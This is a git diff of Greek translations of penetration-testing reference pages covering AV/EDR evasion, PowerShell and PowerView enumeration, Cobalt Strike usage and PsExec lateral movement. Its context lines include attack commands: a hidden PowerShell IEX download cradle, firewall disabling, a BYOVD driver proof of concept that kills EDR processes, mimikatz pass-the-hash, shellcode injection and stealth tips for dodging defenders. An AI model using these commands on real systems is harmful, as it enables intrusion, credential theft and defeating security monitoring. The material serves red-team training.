Λογισμικού +## Χρήση Εμπιστευμένου Λογισμικού ### Chrome Remote Desktop -Όπως περιγράφεται σε [**αυτή την ανάρτηση στο blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), είναι εύκολο να αναπτύξετε το Chrome Remote Desktop σε έναν υπολογιστή θύμα και στη συνέχεια να το χρησιμοποιήσετε για να τον καταλάβετε και να διατηρήσετε την επιμονή: +Όπως περιγράφεται σε [**αυτή την ανάρτηση στο blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), είναι εύκολο να αναπτύξετε το Chrome Remote Desktop σε έναν υπολογιστή θύματος και στη συνέχεια να το χρησιμοποιήσετε για να τον καταλάβετε και να διατηρήσετε την επιμονή: 1. Κατεβάστε από https://remotedesktop.google.com/, κάντε κλικ στο "Set up via SSH", και στη συνέχεια κάντε κλικ στο αρχείο MSI για Windows για να κατεβάσετε το αρχείο MSI. 2. Εκτελέστε τον εγκαταστάτη σιωπηλά στον θύμα (απαιτείται διαχειριστής): `msiexec /i chromeremotedesktophost.msi /qn` 3. Επιστρέψτε στη σελίδα του Chrome Remote Desktop και κάντε κλικ στο επόμενο. Ο οδηγός θα σας ζητήσει να εξουσιοδοτήσετε; κάντε κλικ στο κουμπί Εξουσιοδότηση για να συνεχίσετε. @@ -407,7 +407,7 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 ### **Ελέγξτε ποιες περιοχές βρίσκει ο Defender ως κακόβουλες** -Μπορείτε να χρησιμοποιήσετε το [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) το οποίο θα **αφαιρέσει μέρη του δυαδικού αρχείου** μέχρι να **ανακαλύψει ποιο μέρος ο Defender** βρίσκει ως κακόβουλο και να το διαχωρίσει για εσάς.\ +Μπορείτε να χρησιμοποιήσετε [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) που θα **αφαιρέσει μέρη του δυαδικού αρχείου** μέχρι να **ανακαλύψει ποιο μέρος βρίσκει ο Defender** ως κακόβουλο και να το διαχωρίσει για εσάς.\ Ένα άλλο εργαλείο που κάνει **το ίδιο πράγμα είναι** [**avred**](https://github.com/dobin/avred) με μια ανοιχτή ιστοσελίδα που προσφέρει την υπηρεσία στο [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Telnet Server** @@ -420,7 +420,7 @@ pkgmgr /iu:"TelnetServer" /quiet ```bash sc config TlntSVR start= auto obj= localsystem ``` -**Αλλαγή θύρας telnet** (stealth) και απενεργοποίηση τείχους προστασίας: +**Αλλαγή θύρας telnet** (stealth) και απενεργοποίηση του τείχους προστασίας: ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off @@ -443,9 +443,9 @@ netsh advfirewall set allprofiles state off **ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την κρυψίνοια δεν πρέπει να κάνετε μερικά πράγματα -- Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc` -- Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το άνοιγμα του [παραθύρου ρύθμισης](https://i.imgur.com/rfMQWcf.png) -- Μην εκτελέσετε το `winvnc -h` για βοήθεια ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/oc18wcu.png) +- Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα προκαλέσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc` +- Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το [παράθυρο ρύθμισης](https://i.imgur.com/rfMQWcf.png) να ανοίξει +- Μην εκτελέσετε το `winvnc -h` για βοήθεια ή θα προκαλέσετε ένα [popup](https://i.imgur.com/oc18wcu.png) ### GreatSCT @@ -591,7 +591,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Χρησιμοποιώντας python για παράδειγμα κατασκευής injectors: +### Χρησιμοποιώντας python για παράδειγμα κατασκευής ενέσεων: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) @@ -640,7 +640,7 @@ sc start ServiceMouse | Κωδικός IOCTL | Δυνατότητα | |-----------:|-----------------------------------------| | `0x99000050` | Τερματισμός μιας αυθαίρετης διαδικασίας κατά PID (χρησιμοποιείται για να σκοτώσει τις υπηρεσίες Defender/EDR) | -| `0x990000D0` | Διαγραφή ενός αυθαίρετου αρχείου στο δίσκο | +| `0x990000D0` | Διαγραφή μιας αυθαίρετης αρχείου στο δίσκο | | `0x990001D0` | Αφαίρεση του οδηγού και διαγραφή της υπηρεσίας | Ελάχιστο C proof-of-concept: @@ -655,11 +655,11 @@ CloseHandle(hDrv); return 0; } ``` -4. **Γιατί λειτουργεί**: Ο BYOVD παρακάμπτει εντελώς τις προστασίες του user-mode; ο κώδικας που εκτελείται στον πυρήνα μπορεί να ανοίξει *προστατευμένες* διαδικασίες, να τις τερματίσει ή να παρέμβει σε αντικείμενα πυρήνα ανεξαρτήτως PPL/PP, ELAM ή άλλων χαρακτηριστικών σκληρής προστασίας. +4. **Γιατί λειτουργεί**: Ο BYOVD παρακάμπτει εντελώς τις προστασίες του user-mode; ο κώδικας που εκτελείται στον πυρήνα μπορεί να ανοίξει *προστατευμένες* διαδικασίες, να τις τερματίσει ή να παρέμβει σε αντικείμενα πυρήνα ανεξαρτήτως PPL/PP, ELAM ή άλλων χαρακτηριστικών σκληρύνσης. Ανίχνευση / Μετριασμός • Ενεργοποιήστε τη λίστα αποκλεισμού ευάλωτων οδηγών της Microsoft (`HVCI`, `Smart App Control`) ώστε τα Windows να αρνούνται να φορτώσουν το `AToolsKrnl64.sys`. -• Παρακολουθήστε τη δημιουργία νέων *υπηρεσιών πυρήνα* και ειδοποιήστε όταν ένας οδηγός φορτώνεται από έναν κατάλογο που μπορεί να γραφτεί από τον κόσμο ή δεν είναι παρών στη λίστα επιτρεπόμενων. +• Παρακολουθήστε τη δημιουργία νέων *υπηρεσιών* πυρήνα και ειδοποιήστε όταν ένας οδηγός φορτώνεται από έναν κατάλογο που μπορεί να γραφτεί από τον κόσμο ή δεν είναι παρών στη λίστα επιτρεπόμενων. • Παρακολουθήστε για handles user-mode σε προσαρμοσμένα αντικείμενα συσκευών που ακολουθούνται από ύποπτες κλήσεις `DeviceIoControl`. ### Παράκαμψη Ελέγχων Θέσης του Zscaler Client Connector μέσω Διόρθωσης Δυαδικών Αρχείων στον Δίσκο diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 44a4f5ce7..a83b4834e 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -172,9 +172,9 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html Τα βήματα για την παρακολούθηση κλήσεων API μεθόδων .NET είναι: 1. Εντοπίστε τη μέθοδο-στόχο για παρακολούθηση -2. Ορίστε μια μέθοδο με το ίδιο πρωτότυπο λειτουργίας όπως η στόχος +2. Ορίστε μια μέθοδο με το ίδιο πρωτότυπο λειτουργίας με την στόχο 3. Χρησιμοποιήστε αντανάκλαση για να βρείτε τις μεθόδους -4. Βεβαιωθείτε ότι κάθε μέθοδος έχει μεταγλωττιστεί +4. Διασφαλίστε ότι κάθε μέθοδος έχει μεταγλωττιστεί 5. Βρείτε την τοποθεσία κάθε μεθόδου στη μνήμη 6. Επικαλύψτε τη μέθοδο-στόχο με εντολές που δείχνουν στη δική μας κακόβουλη μέθοδο @@ -231,6 +231,7 @@ $rb.Items() ## Αναγνώριση Τομέα + {{#ref}} powerview.md {{#endref}} @@ -292,7 +293,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Admin ```bash Get-Clipboard ``` -Εκτελέστε παρακολούθηση του clipboard χρησιμοποιώντας: +Εκτελέστε κάποια παρακολούθηση του clipboard χρησιμοποιώντας: - [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) - [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) @@ -361,11 +362,11 @@ route print ```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` -### Φιλοξενούμενοι +### Hosts ```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` -### Πινγκ +### Ping ```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 06c97aa3b..725a5826e 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -136,7 +136,7 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n ``` ### Group Policy Object - GPOs -Αν ένας επιτιθέμενος έχει **υψηλά προνόμια σε ένα GPO** θα μπορούσε να είναι σε θέση να **privesc** εκμεταλλευόμενος το προσθέτοντας **δικαιώματα σε έναν χρήστη**, **προσθέτοντας έναν τοπικό χρήστη διαχειριστή** σε έναν υπολογιστή ή **δημιουργώντας μια προγραμματισμένη εργασία** (άμεση) για να εκτελέσει μια ενέργεια.\ +Αν ένας επιτιθέμενος έχει **υψηλά προνόμια σε ένα GPO** θα μπορούσε να είναι σε θέση να **privesc** εκμεταλλευόμενος το, **προσθέτοντας δικαιώματα σε έναν χρήστη**, **προσθέτοντας έναν τοπικό διαχειριστή** σε έναν υπολογιστή ή **δημιουργώντας μια προγραμματισμένη εργασία** (άμεση) για να εκτελέσει μια ενέργεια.\ Για [**περισσότερες πληροφορίες σχετικά με αυτό και πώς να το εκμεταλλευτείτε ακολουθήστε αυτόν τον σύνδεσμο**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). ```bash #GPO @@ -171,7 +171,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType # Enumerates the machines where a specific domain user/group is a member of a specific local group. Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName ``` -Μάθετε πώς να **εκμεταλλευτείτε τα δικαιώματα μέσω GPOs και ACLs** στο: +Μάθετε πώς να **εκμεταλλευτείτε τα δικαιώματα μέσω GPOs και ACLs** σε: {{#ref}} ../active-directory-methodology/acl-persistence-abuse/ diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index 538c00c26..3c2a85db5 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -6,7 +6,7 @@ ### C2 Listeners -`Cobalt Strike -> Listeners -> Add/Edit` τότε μπορείτε να επιλέξετε πού να ακούσετε, ποιο είδος beacon να χρησιμοποιήσετε (http, dns, smb...) και περισσότερα. +`Cobalt Strike -> Listeners -> Add/Edit` τότε μπορείτε να επιλέξετε πού να ακούσετε, ποιο είδος beacon να χρησιμοποιήσετε (http, dns, smb...) και άλλα. ### Peer2Peer Listeners @@ -83,15 +83,15 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w steal_token [pid] # Επίσης, αυτό είναι χρήσιμο για ενέργειες δικτύου, όχι τοπικές ενέργειες ## Από την τεκμηρίωση API γνωρίζουμε ότι αυτός ο τύπος σύνδεσης "επιτρέπει στον καλούντα να κλωνοποιήσει το τρέχον token του". Γι' αυτό η έξοδος Beacon λέει Προσωποποιημένο - προσποιείται το κλωνοποιημένο token μας. ls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστή -rev2self # Σταματήστε να χρησιμοποιείτε το token από το steal_token +rev2self # Σταματήστε να χρησιμοποιείτε το token από steal_token ## Launch process with nwe credentials spawnas [domain\username] [password] [listener] #Κάντε το από έναν κατάλογο με δικαιώματα ανάγνωσης όπως: cd C:\ -## Όπως το make_token, αυτό θα δημιουργήσει το Windows event 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς αλλά με τύπο σύνδεσης 2 (LOGON32_LOGON_INTERACTIVE). Θα αναφέρει τον καλούντα χρήστη (TargetUserName) και τον προσωποποιημένο χρήστη (TargetOutboundUserName). +## Όπως το make_token, αυτό θα δημιουργήσει το γεγονός Windows 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς αλλά με τύπο σύνδεσης 2 (LOGON32_LOGON_INTERACTIVE). Θα αναφέρει τον καλούντα χρήστη (TargetUserName) και τον προσωποποιημένο χρήστη (TargetOutboundUserName). ## Inject into process inject [pid] [x64|x86] [listener] -## Από την άποψη του OpSec: Μην εκτελείτε διασυνοριακή ένεση εκτός αν είναι απολύτως απαραίτητο (π.χ. x86 -> x64 ή x64 -> x86). +## Από άποψη OpSec: Μην εκτελείτε διασυνοριακή ένεση εκτός αν είναι απολύτως απαραίτητο (π.χ. x86 -> x64 ή x64 -> x86). ## Pass the hash ## Αυτή η διαδικασία τροποποίησης απαιτεί patching της μνήμης LSASS που είναι μια ενέργεια υψηλού κινδύνου, απαιτεί τοπικά δικαιώματα διαχειριστή και δεν είναι πολύ βιώσιμη αν είναι ενεργοποιημένη η Protected Process Light (PPL). @@ -100,7 +100,7 @@ pth [DOMAIN\user] [NTLM hash] ## Pass the hash through mimikatz mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden" -## Χωρίς /run, το mimikatz δημιουργεί ένα cmd.exe, αν εκτελείτε ως χρήστης με Desktop, θα δει το shell (αν εκτελείτε ως SYSTEM είστε εντάξει) +## Χωρίς /run, το mimikatz δημιουργεί ένα cmd.exe, αν εκτελείστε ως χρήστης με Desktop, θα δει το shell (αν εκτελείστε ως SYSTEM είστε εντάξει) steal_token #Κλέψτε το token από τη διαδικασία που δημιουργήθηκε από το mimikatz ## Pass the ticket @@ -109,7 +109,7 @@ execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec ## Δημιουργήστε μια νέα συνεδρία σύνδεσης για να χρησιμοποιήσετε με το νέο εισιτήριο (για να μην αντικαταστήσετε το παραβιασμένο) make_token \ DummyPass -## Γράψτε το εισιτήριο στον υπολογιστή του επιτιθέμενου από μια συνεδρία poweshell & φορτώστε το +## Γράψτε το εισιτήριο στη μηχανή του επιτιθέμενου από μια συνεδρία poweshell & φορτώστε το [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]")) kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi @@ -173,11 +173,11 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw ## Αντιγράψτε το bin αρχείο στον host του cobalt strike ps -shinject x64 C:\Payloads\msf.bin #Εισάγετε τον κώδικα shell του metasploit σε μια διαδικασία x64 +shinject x64 C:\Payloads\msf.bin #Εισάγετε τον shellcode του metasploit σε μια x64 διαδικασία # Pass metasploit session to cobalt strike ## Δημιουργήστε stageless Beacon shellcode, πηγαίνετε στο Attacks > Packages > Windows Executable (S), επιλέξτε τον επιθυμητό listener, επιλέξτε Raw ως τον τύπο εξόδου και επιλέξτε Use x64 payload. -## Χρησιμοποιήστε post/windows/manage/shellcode_inject στο metasploit για να εισάγετε τον παραγόμενο κώδικα shell του cobalt strike +## Χρησιμοποιήστε post/windows/manage/shellcode_inject στο metasploit για να εισάγετε τον παραγόμενο shellcode του cobalt strike # Pivoting @@ -207,23 +207,23 @@ beacon> ssh 10.10.17.12:22 username password - Security EID 4624 - Ελέγξτε όλες τις διαδραστικές συνδέσεις για να γνωρίζετε τις συνήθεις ώρες λειτουργίας. - System EID 12,13 - Ελέγξτε τη συχνότητα τερματισμού/εκκίνησης/ύπνου. - Security EID 4624/4625 - Ελέγξτε τις έγκυρες/μη έγκυρες NTLM προσπάθειες εισόδου. -- Security EID 4648 - Αυτό το γεγονός δημιουργείται όταν χρησιμοποιούνται κωδικοί πρόσβασης σε καθαρό κείμενο για σύνδεση. Αν μια διαδικασία το δημιούργησε, το δυαδικό αρχείο πιθανώς έχει τους κωδικούς πρόσβασης σε καθαρό κείμενο σε ένα αρχείο ρυθμίσεων ή μέσα στον κώδικα. +- Security EID 4648 - Αυτό το γεγονός δημιουργείται όταν χρησιμοποιούνται απλές πιστοποιήσεις για σύνδεση. Αν μια διαδικασία το δημιούργησε, το δυαδικό αρχείο πιθανώς έχει τις πιστοποιήσεις σε καθαρό κείμενο σε ένα αρχείο ρυθμίσεων ή μέσα στον κώδικα. -Όταν χρησιμοποιείτε το `jump` από το cobalt strike, είναι καλύτερο να χρησιμοποιείτε τη μέθοδο `wmi_msbuild` για να κάνετε τη νέα διαδικασία να φαίνεται πιο νόμιμη. +Όταν χρησιμοποιείτε `jump` από το cobalt strike, είναι καλύτερο να χρησιμοποιείτε τη μέθοδο `wmi_msbuild` για να κάνετε τη νέα διαδικασία να φαίνεται πιο νόμιμη. ### Use computer accounts -Είναι κοινό για τους αμυντικούς να ελέγχουν περίεργες συμπεριφορές που προκύπτουν από χρήστες και **να εξαιρούν λογαριασμούς υπηρεσιών και λογαριασμούς υπολογιστών όπως `*$` από την παρακολούθησή τους**. Μπορείτε να χρησιμοποιήσετε αυτούς τους λογαριασμούς για να εκτελέσετε lateral movement ή privilege escalation. +Είναι κοινό για τους αμυντικούς να ελέγχουν περίεργες συμπεριφορές που προκύπτουν από χρήστες και **να εξαιρούν λογαριασμούς υπηρεσιών και λογαριασμούς υπολογιστών όπως `*$` από την παρακολούθησή τους**. Μπορείτε να χρησιμοποιήσετε αυτούς τους λογαριασμούς για να εκτελέσετε πλευρική κίνηση ή αναβάθμιση δικαιωμάτων. ### Use stageless payloads -Τα stageless payloads είναι λιγότερο θορυβώδη από τα staged γιατί δεν χρειάζεται να κατεβάσουν μια δεύτερη φάση από τον server C2. Αυτό σημαίνει ότι δεν δημιουργούν καθόλου κυκλοφορία δικτύου μετά την αρχική σύνδεση, καθιστώντας τα λιγότερο πιθανό να ανιχνευθούν από τις αμυντικές λύσεις που βασίζονται στο δίκτυο. +Οι stageless payloads είναι λιγότερο θορυβώδεις από τις staged γιατί δεν χρειάζεται να κατεβάσουν μια δεύτερη φάση από τον server C2. Αυτό σημαίνει ότι δεν δημιουργούν καμία δικτυακή κίνηση μετά την αρχική σύνδεση, καθιστώντας τις λιγότερο πιθανές να ανιχνευθούν από τις δικτυακές άμυνες. ### Tokens & Token Store Να είστε προσεκτικοί όταν κλέβετε ή δημιουργείτε tokens γιατί μπορεί να είναι δυνατό για ένα EDR να απαριθμήσει όλα τα tokens όλων των νημάτων και να βρει ένα **token που ανήκει σε διαφορετικό χρήστη** ή ακόμα και σε SYSTEM στη διαδικασία. -Αυτό επιτρέπει την αποθήκευση tokens **ανά beacon** ώστε να μην χρειάζεται να κλέβετε το ίδιο token ξανά και ξανά. Αυτό είναι χρήσιμο για lateral movement ή όταν χρειάζεται να χρησιμοποιήσετε ένα κλεμμένο token πολλές φορές: +Αυτό επιτρέπει την αποθήκευση tokens **ανά beacon** έτσι ώστε να μην χρειάζεται να κλέβετε το ίδιο token ξανά και ξανά. Αυτό είναι χρήσιμο για πλευρική κίνηση ή όταν χρειάζεται να χρησιμοποιήσετε ένα κλεμμένο token πολλές φορές: - token-store steal - token-store steal-and-use @@ -236,13 +236,13 @@ beacon> ssh 10.10.17.12:22 username password ### Guardrails -Το Cobalt Strike έχει μια δυνατότητα που ονομάζεται **Guardrails** που βοηθά στην αποφυγή της χρήσης ορισμένων εντολών ή ενεργειών που θα μπορούσαν να ανιχνευθούν από τους αμυντικούς. Οι Guardrails μπορούν να ρυθμιστούν για να αποκλείσουν συγκεκριμένες εντολές, όπως `make_token`, `jump`, `remote-exec`, και άλλες που χρησιμοποιούνται συνήθως για lateral movement ή privilege escalation. +Το Cobalt Strike έχει μια δυνατότητα που ονομάζεται **Guardrails** που βοηθά στην αποφυγή της χρήσης ορισμένων εντολών ή ενεργειών που θα μπορούσαν να ανιχνευθούν από τους αμυντικούς. Οι Guardrails μπορούν να ρυθμιστούν για να αποκλείσουν συγκεκριμένες εντολές, όπως `make_token`, `jump`, `remote-exec`, και άλλες που χρησιμοποιούνται συνήθως για πλευρική κίνηση ή αναβάθμιση δικαιωμάτων. -Επιπλέον, το repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) περιέχει επίσης κάποιες ελέγχους και ιδέες που θα μπορούσατε να εξετάσετε πριν εκτελέσετε ένα payload. +Επιπλέον, το repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) περιέχει επίσης κάποιες ελέγχους και ιδέες που θα μπορούσατε να εξετάσετε πριν εκτελέσετε μια payload. ### Tickets encryption -Σε ένα AD να είστε προσεκτικοί με την κρυπτογράφηση των εισιτηρίων. Από προεπιλογή, ορισμένα εργαλεία θα χρησιμοποιούν κρυπτογράφηση RC4 για τα εισιτήρια Kerberos, η οποία είναι λιγότερο ασφαλής από την κρυπτογράφηση AES και από προεπιλογή, τα ενημερωμένα περιβάλλοντα θα χρησιμοποιούν AES. Αυτό μπορεί να ανιχνευθεί από τους αμυντικούς που παρακολουθούν αδύναμους αλγόριθμους κρυπτογράφησης. +Σε ένα AD να είστε προσεκτικοί με την κρυπτογράφηση των εισιτηρίων. Από προεπιλογή, ορισμένα εργαλεία θα χρησιμοποιούν κρυπτογράφηση RC4 για τα εισιτήρια Kerberos, η οποία είναι λιγότερο ασφαλής από την κρυπτογράφηση AES και από προεπιλογή, οι ενημερωμένες περιβάλλουσες θα χρησιμοποιούν AES. Αυτό μπορεί να ανιχνευθεί από τους αμυντικούς που παρακολουθούν αδύναμους αλγόριθμους κρυπτογράφησης. ### Avoid Defaults @@ -260,15 +260,15 @@ beacon> ssh 10.10.17.12:22 username password - Ο χρόνος ύπνου - Το μέγιστο μέγεθος των δυαδικών αρχείων που θα φορτωθούν στη μνήμη - Το αποτύπωμα μνήμης και το περιεχόμενο DLL με το μπλοκ `stage {...}` -- Η κυκλοφορία δικτύου +- Η δικτυακή κίνηση ### Bypass memory scanning -Ορισμένα EDRs σαρώνουν τη μνήμη για ορισμένες γνωστές υπογραφές κακόβουλου λογισμικού. Το Cobalt Strike επιτρέπει την τροποποίηση της λειτουργίας `sleep_mask` ως BOF που θα είναι σε θέση να κρυπτογραφήσει στη μνήμη την πίσω πόρτα. +Ορισμένα EDRs σαρώνουν τη μνήμη για ορισμένες γνωστές υπογραφές κακόβουλου λογισμικού. Το Cobalt Strike επιτρέπει την τροποποίηση της λειτουργίας `sleep_mask` ως BOF που θα είναι ικανό να κρυπτογραφήσει στη μνήμη την πίσω πόρτα. ### Noisy proc injections -Όταν εισάγετε κώδικα σε μια διαδικασία, αυτό είναι συνήθως πολύ θορυβώδες, αυτό συμβαίνει γιατί **κανένας κανονικός διαδικασία δεν εκτελεί συνήθως αυτή την ενέργεια και επειδή οι τρόποι για να το κάνετε αυτό είναι πολύ περιορισμένοι**. Επομένως, μπορεί να ανιχνευθεί από συστήματα ανίχνευσης που βασίζονται στη συμπεριφορά. Επιπλέον, μπορεί επίσης να ανιχνευθεί από EDRs που σαρώνουν το δίκτυο για **νήματα που περιέχουν κώδικα που δεν είναι στο δίσκο** (αν και διαδικασίες όπως οι περιηγητές που χρησιμοποιούν JIT το έχουν αυτό συνήθως). Παράδειγμα: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) +Όταν εισάγετε κώδικα σε μια διαδικασία, αυτό είναι συνήθως πολύ θορυβώδες, αυτό συμβαίνει γιατί **κανένας κανονικός διαδικασία δεν εκτελεί συνήθως αυτή την ενέργεια και επειδή οι τρόποι για να το κάνετε αυτό είναι πολύ περιορισμένοι**. Επομένως, μπορεί να ανιχνευθεί από συστήματα ανίχνευσης που βασίζονται σε συμπεριφορά. Επιπλέον, μπορεί επίσης να ανιχνευθεί από EDRs που σαρώνουν το δίκτυο για **νήματα που περιέχουν κώδικα που δεν είναι στο δίσκο** (αν και διαδικασίες όπως οι περιηγητές που χρησιμοποιούν JIT το έχουν αυτό συνήθως). Παράδειγμα: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) ### Spawnas | PID and PPID relationships @@ -276,7 +276,7 @@ beacon> ssh 10.10.17.12:22 username password Όταν ένα νέο beacon δημιουργείται στο Cobalt Strike, από προεπιλογή δημιουργείται μια διαδικασία που χρησιμοποιεί **`rundll32.exe`** για να εκτελέσει τον νέο listener. Αυτό δεν είναι πολύ κρυφό και μπορεί να ανιχνευθεί εύκολα από EDRs. Επιπλέον, το `rundll32.exe` εκτελείται χωρίς κανένα επιχείρημα, καθιστώντας το ακόμα πιο ύποπτο. -Με την παρακάτω εντολή Cobalt Strike, μπορείτε να καθορίσετε μια διαφορετική διαδικασία για να δημιουργήσετε το νέο beacon, καθιστώντας το λιγότερο ανιχνεύσιμο: +Με την ακόλουθη εντολή Cobalt Strike, μπορείτε να καθορίσετε μια διαφορετική διαδικασία για να δημιουργήσετε το νέο beacon, καθιστώντας το λιγότερο ανιχνεύσιμο: ```bash spawnto x86 svchost.exe ``` @@ -297,6 +297,7 @@ spawnto x86 svchost.exe Check the page: + {{#ref}} av-bypass.md {{#endref}} diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index 15bbde8c8..a09743b3f 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -9,14 +9,14 @@ 1. Αυθεντικοποίηση στον στόχο και πρόσβαση στο ADMIN$ share μέσω SMB (TCP/445). 2. Αντιγραφή ενός εκτελέσιμου ή καθορισμός μιας γραμμής εντολών LOLBAS που θα εκτελέσει η υπηρεσία. 3. Δημιουργία μιας υπηρεσίας απομακρυσμένα μέσω SCM (MS-SCMR μέσω \PIPE\svcctl) που δείχνει σε αυτήν την εντολή ή δυαδικό. -4. Εκκίνηση της υπηρεσίας για να εκτελέσει το payload και προαιρετικά να συλλάβει stdin/stdout μέσω ενός ονομασμένου σωλήνα. +4. Εκκίνηση της υπηρεσίας για να εκτελέσει το payload και προαιρετικά να καταγράψει stdin/stdout μέσω ενός ονομασμένου σωλήνα. 5. Σταμάτημα της υπηρεσίας και καθαρισμός (διαγραφή της υπηρεσίας και οποιωνδήποτε ρίχτηκαν δυαδικών). Απαιτήσεις/προαπαιτούμενα: - Τοπικός Διαχειριστής στον στόχο (SeCreateServicePrivilege) ή ρητά δικαιώματα δημιουργίας υπηρεσίας στον στόχο. - SMB (445) προσβάσιμο και διαθέσιμο το ADMIN$ share; Επιτρέπεται η απομακρυσμένη διαχείριση υπηρεσιών μέσω του τείχους προστασίας του υπολογιστή. - Περιορισμοί UAC Remote: με τοπικούς λογαριασμούς, η φιλτράρισμα token μπορεί να μπλοκάρει τον διαχειριστή μέσω του δικτύου εκτός αν χρησιμοποιείται ο ενσωματωμένος Διαχειριστής ή LocalAccountTokenFilterPolicy=1. -- Kerberos vs NTLM: η χρήση ενός hostname/FQDN ενεργοποιεί το Kerberos; η σύνδεση μέσω IP συχνά επιστρέφει στο NTLM (και μπορεί να μπλοκαριστεί σε σκληρές περιβάλλοντα). +- Kerberos vs NTLM: η χρήση ενός hostname/FQDN ενεργοποιεί το Kerberos; η σύνδεση μέσω IP συχνά επιστρέφει στο NTLM (και μπορεί να μπλοκαριστεί σε σκληρές περιβάλλουσες). ### Χειροκίνητο ScExec/WinExec μέσω sc.exe @@ -34,7 +34,7 @@ sc.exe \\TARGET start HTSvc sc.exe \\TARGET delete HTSvc ``` Σημειώσεις: -- Αναμένετε ένα σφάλμα χρονικού ορίου κατά την εκκίνηση ενός EXE που δεν είναι υπηρεσία. Η εκτέλεση εξακολουθεί να συμβαίνει. +- Αναμένετε ένα σφάλμα χρονικού ορίου κατά την εκκίνηση ενός EXE που δεν είναι υπηρεσία; η εκτέλεση εξακολουθεί να συμβαίνει. - Για να παραμείνετε πιο φιλικοί προς το OPSEC, προτιμήστε εντολές χωρίς αρχεία (cmd /c, powershell -enc) ή διαγράψτε τα αποθηκευμένα αρχεία. Βρείτε πιο λεπτομερείς οδηγίες στο: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/ @@ -62,9 +62,9 @@ PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig OPSEC - Αφήνει γεγονότα 